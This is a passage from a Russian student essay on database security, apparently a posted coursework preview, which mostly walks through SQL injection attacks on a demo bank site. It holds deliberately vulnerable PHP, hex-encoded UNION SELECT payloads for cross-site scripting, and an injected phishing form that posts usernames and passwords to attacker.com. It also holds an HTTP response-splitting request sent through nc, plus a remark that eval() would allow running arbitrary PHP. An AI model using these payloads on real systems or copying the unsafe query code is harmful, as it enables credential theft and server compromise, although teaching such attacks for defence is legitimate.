Защита баз данных

Автор работы: Пользователь скрыл имя, 02 Октября 2009 в 19:14, Не определен

Описание работы

В реферате содержится информация о современных методах защиты баз данных.

Файлы: 1 файл

ЯП.docx

— 217.65 Кб (Скачать файл)

                                             // oops SQL Injection - ^

            while($tmp = @mysql_fetch_row($sql_query))

              echo $tmp[0]; //echos the result as HTML code

         } else {

              echo "<h1>Welcome to My Bank</h1> <a href="?id=1">Login</a>";

         }

         ?> 

         </body>

       </html>

       </code>

       Отметим, что запрос к MySQL ожидает получить текст, который будет отображен. Веб приложение анализирует контекст, в начале сеанса вы увидите такую  страницу:

       

       После того, как пользователь щёлкнет по ссылке “Login” страница будет такой:

       

       Описание  проблемы

       Этот  вид проблем возникает всегда, когда текст из базы данных выводится  в HTML страницу. Если мы попытаемся использовать классические или продвинутые SQL инъекции мы сможем получить информацию о SQL сервере  и ничего более.

       В таких случаях появляется возможность  использовать уязвимости на стороне  клиента. Использование UNION SELECT даёт возможность  злоумышленнику выводить в окно браузера произвольный текст.  

       Реализация  атаки

       Давайте используем трюк для обмана опции gpc_magic_quotes установленной в On. Воспользуемся  особенностью MySQL, позволяющей преобразовать  шестнадцатеричные значения вида 0xXX в текст:

       <code>

       mysql> select HEX('<script>alert("SiXSS");</script>'); 

       +------------------------------------------------------------------+

       | HEX('<script>alert("SiXSS");</script>')                          |

       +------------------------------------------------------------------+

       | 3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E |

       +------------------------------------------------------------------+ 

       1 row in set (0.00 sec) 
 

       </code>

       И поместим это в HTTP запрос:

       http://www.mybank.com?id=1+union+select+0x3C7363726970743E 
616C6572742822536958535322293B3C2F7363726970743E

       И увидим ответ:

       

       Это и есть SQL Injection for Cross Site Scripting. 
Но что произойдет, если javascript отключен? Ничего.
 

       Фишинг (The Phishing Attack)

       Мы  пришли к возможности использовать новую технику фишинга позволяющую  внедрить произвольный HTML код. Это значит, что нет необходимости подделывать  строку с адресом URL, закрывать её Text Box`ом, использовать две страницы показывающие Pop Up окна, не нужны Spyware и  трояны[4].

       Давайте используем тот же самый трюк для  внедрения определенного html кода.

       mysql> select HEX('<h1>My Bank</h1><p><form action="http://attacker.com/check.php" method=post><table><tr><td>User: </td><td><input type="text" name="username"></td></tr><tr><td>Password: </td><td><input type="password" name="pass"></td></tr><tr><td><input type=submit value="LogIn"></td></tr></table></form>');

       Шестнадцатеричный код будет выглядеть так:

       3C68313E4D792042616E6B3C2F68313E3C703E3C666F726D20616374696 
F6E3D22687474703A2F2F61747461636B65722E636F6D2F636865636B2E 
70687022206D6574686F643D706F73743E3C7461626C653E3C74723E3C7 
4643E557365723A203C2F74643E3C74643E3C696E70757420747970653D 
227465787422206E616D653D22757365726E616D65223E3C2F74643E3C2 
F74723E3C74723E3C74643E50617373776F72643A203C2F74643E3C7464 
3E3C696E70757420747970653D2270617373776F726422206E616D653D2 
270617373223E3C2F74643E3C2F74723E3C74723E3C74643E3C696E7075 
7420747970653D7375626D69742076616C75653D224C6F67496E223E3C2 
F74643E3C2F74723E3C2F7461626C653E3C2F666F726D3E

       Этот  код предает введенные значения полей на адрес http://attacker.com/check.php

       Другая  уловка должна использоваться для того, чтобы SELECT в исходном запросе всегда выдавал отрицательный результат. Добавим 'AND 1=3' и добавим в конец  запроса наш UNION.

       http://www.mybank.com?id=1+and+1%3d3+UNION+SELECT+0x3C68....

       <html> 
<head> 
<title>My Bank</title> 
</head> 
<body> 
<h1>My Bank</h1><p><form action="http://attacker.com/check.php" method=post><table><tr><td>User:</td><td><input type="text" name="username"></td></tr><tr><td>Password:</td><td><input type="password" name="pass"></td></tr><tr><td><input type=submit value="LogIn"></td></tr></table></form></p> </body> 
</html>

       Вместо реального HTML кода:

       $ curl "http://www.mybank.com?id=1" 
 
<html> 
<head> 
<title>My Bank</title> 
</head> 
<body> 
<h1>My Bank</h1><p><form action="check.php" method=post><table><tr><td>User:</td><td><input type="text" name="username"></td></tr><tr><td>Password:</td><td><input type="password" name="pass"></td></tr><tr><td><input type=submit value="LogIn"></td></tr></table></form> 
</body> 
</html>

       SiHRS – SQL инъекции для реализации атак HTTP Response Splitting

       Среда для тестирования

       В CMS или в рекламной системе  может возникнуть необходимость  в индексации адресов URL, запрос к  базе данных должен возвращать URL по определенному id.

       Создадим  среду для успешного применения SiXSS, на этот раз это будет система  перенаправления.

       <code>

       CREATE DATABASE url_db;

       USE url_db;

       GRANT SELECT ON url_db.* TO 'user2_nopriv'@'localhost'

       IDENTIFIED BY PASSWORD '';

       CREATE TABLE url_table (

                         id INT PRIMARY KEY AUTO_INCREMENT,

                         url TEXT

                          );

       INSERT INTO url_table (url) VALUES

       ('https://brokerage.mybank.com/login.php');

       </code>

       для файла url_db.sql, и:

       <code>

       <?

       if (isset($_GET['id'])) {

               $myconns = mysql_connect("127.0.0.1","user2_nopriv","")

        or die("sorry can`t connect");

               mysql_select_db("url_db") or

       die("sorry can`t select DB");

               $sql_query = mysql_query("SELECT url from url_table

       where id=".$_GET['id']." LIMIT 1") or die("sorry3)";

               $tmp = mysql_fetch_row($sql_query);

               header("Location: ".$tmp[0]);

       } else

               header("Location: http://www.mybank.com/index.php");

       ?>

       </code>

       redir.php скрипт выполняющий перенаправление. 

       Это означает, что если сформировать запрос подобно этому:

       $ curl “http://www.mybank.com/redir.php?id=1” -I

       мы  получим ответ, который переадресует нас к другой странице:

       HTTP/1.1 302 Found 
Date: Mon, 20 Sep 2004 21:08:03 GMT 
Server: Apache-AdvancedExtranetServer/2.0.48 (Mandrake Linux/6.1.100mdk) mod_perl/1.99_11 Perl/v5.8.3 PHP/4.3.8 mod_ssl/2.0.48 OpenSSL/0.9.7c 
X-Powered-By: PHP/4.3.8 
Location: https://brokerage.mybank.com/login.php 
Content-Type: text/html

       Теоретически  становится возможным выполнение атаки HTTP Response Splitting [5].  

       Описание  проблемы

       Этот  вид проблем возникает всегда, когда есть определенный URL полученный из базы данных для перенаправления, используя поле 'Location' HTTP заголовка. SIHRS должен быть проверен при проведении испытания на проникновение также  как и SiXSS, HTTP Response Splitting, XSS и Phishing.

       Условия для проведения атаки могут быть ограничены как в примере с SiXSS, но должны быть удобны для использования UNION SELECT для внедрения классических строк, значение которых объясняется  в [5].

       Реализация  атаки

       Только  ради исследования этой концепции давайте  рассмотрим простейший пример атаки:

       <code>

       mysql> select HEX('index.php

           '> Content-Length: 0

           '>

           '> HTTP/1.1 200 OK

           '> Content-Type: text/html

           '> Content-Length: 19

           '>

           '> <html>Shazam</html>

           '> ');

       </code>

       Так это будет выглядеть в шестнадцатеричном  коде:

       696E6465782E7068700A436F6E74656E742D4C656E6774683A20300D0A0 
D0A485454502F312E3120323030204F4B0D0A436F6E74656E742D547970 
653A20746578742F68746D6C0D0A436F6E74656E742D4C656E6774683A2 
031390D0A0D0A3C68746D6C3E5368617A616D3C2F68746D6C3E0D0A

       Далее мы отсылаем отравленный запрос:

       $ echo -ne "GET /redir.php?id=1+and+2%3d%34+union+select+0x 
696E6465782E7068700A436F6E74656E742D4C656E6774683A20300D0A0 
D0A485454502F312E3120323030204F4B0D0A436F6E74656E742D547970 
653A20746578742F68746D6C0D0A436F6E74656E742D4C656E6774683A2 
031390D0A0D0A3C68746D6C3E5368617A616D3C2F68746D6C3E0D0A 
HTTP/1.1r

       <code>

       Host: www.mybank.comr

       Pragma: no-cacher

       Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, */*r

       r

       " |nc www.mybank.com 80 

       HTTP/1.1 302 Found

       Date: Mon, 20 Sep 2004 22:58:21 GMT

       Server: Apache PHP/4.3.8

       X-Powered-By: PHP/4.3.8

       Location: index.php

       Content-Length: 0 

       HTTP/1.1 200 OK

       Content-Type: text/html

       Content-Length: 19 

       <html>Shazam</html> 

       Content-Length: 0

       Content-Type: text/html

       </code>

       Для понимания, как это может быть использовано, обратитесь к источнику [5]. 

       Дополнение

       Что случилось бы если вместо:

       <code>

       echo $tmp[0]; //выводит результат в виде HTML кода 

       </code>

       в index.php был вызов функции 'eval()' ?

       <code>

       eval($tmp[0]); //eval выполняет php код расположенный в базе данных..

       </code>

       На  ум приходят страшные мысли..

       Используя UNION SELECT мы можем выполнять любой php код, делая уязвимым сервер.

       К счастью — это редко используемая техника для CMS, но, в конце концов, кто знает?

       «Просто позвольте фантазии быть вашим кораблем в потоке сознания» ©...  

Информация о работе Защита баз данных